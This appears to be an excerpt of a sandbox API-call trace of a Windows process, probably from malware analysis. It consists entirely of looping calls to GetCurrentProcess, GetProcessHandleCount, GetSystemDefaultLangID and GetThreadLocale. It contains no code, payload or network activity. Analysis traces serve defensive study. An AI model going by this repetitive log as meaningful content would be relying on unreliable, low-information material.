[0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 [0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.819] GetSystemDefaultLangID () returned 0x25c0409 [0186.819] GetThreadLocale () returned 0x409 [0186.819] GetCurrentProcess () returned 0xffffffff [0186.819] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.820] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.820] GetSystemDefaultLangID () returned 0x25c0409 [0186.820] GetThreadLocale () returned 0x409 [0186.820] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.821] GetCurrentProcess () returned 0xffffffff [0186.821] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.821] GetSystemDefaultLangID () returned 0x25c0409 [0186.821] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.822] GetSystemDefaultLangID () returned 0x25c0409 [0186.822] GetThreadLocale () returned 0x409 [0186.822] GetCurrentProcess () returned 0xffffffff [0186.822] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.823] GetSystemDefaultLangID () returned 0x25c0409 [0186.823] GetThreadLocale () returned 0x409 [0186.823] GetCurrentProcess () returned 0xffffffff [0186.823] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.824] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.824] GetSystemDefaultLangID () returned 0x25c0409 [0186.824] GetThreadLocale () returned 0x409 [0186.824] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.825] GetThreadLocale () returned 0x409 [0186.825] GetCurrentProcess () returned 0xffffffff [0186.825] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.825] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.826] GetSystemDefaultLangID () returned 0x25c0409 [0186.826] GetThreadLocale () returned 0x409 [0186.826] GetCurrentProcess () returned 0xffffffff [0186.826] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.827] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.827] GetSystemDefaultLangID () returned 0x25c0409 [0186.827] GetThreadLocale () returned 0x409 [0186.827] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.828] GetCurrentProcess () returned 0xffffffff [0186.828] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.828] GetSystemDefaultLangID () returned 0x25c0409 [0186.828] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.829] GetThreadLocale () returned 0x409 [0186.829] GetCurrentProcess () returned 0xffffffff [0186.829] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.829] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.830] GetSystemDefaultLangID () returned 0x25c0409 [0186.830] GetThreadLocale () returned 0x409 [0186.830] GetCurrentProcess () returned 0xffffffff [0186.830] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.831] GetSystemDefaultLangID () returned 0x25c0409 [0186.831] GetThreadLocale () returned 0x409 [0186.831] GetCurrentProcess () returned 0xffffffff [0186.831] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.831] GetSystemDefaultLangID () returned 0x25c0409 [0186.831] GetThreadLocale () returned 0x409 [0186.831] GetCurrentProcess () returned 0xffffffff [0186.831] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.831] GetSystemDefaultLangID () returned 0x25c0409 [0192.723] GetThreadLocale () returned 0x409 [0192.723] GetCurrentProcess () returned 0xffffffff [0192.723] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.723] GetSystemDefaultLangID () returned 0x25c0409 [0192.723] GetThreadLocale () returned 0x409 [0192.723] GetCurrentProcess () returned 0xffffffff [0192.723] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.724] GetThreadLocale () returned 0x409 [0192.724] GetCurrentProcess () returned 0xffffffff [0192.724] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.724] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.725] GetSystemDefaultLangID () returned 0x25c0409 [0192.725] GetThreadLocale () returned 0x409 [0192.725] GetCurrentProcess () returned 0xffffffff [0192.725] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] GetSystemDefaultLangID () returned 0x25c0409 [0192.726] GetThreadLocale () returned 0x409 [0192.726] GetCurrentProcess () returned 0xffffffff [0192.726] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0192.726] 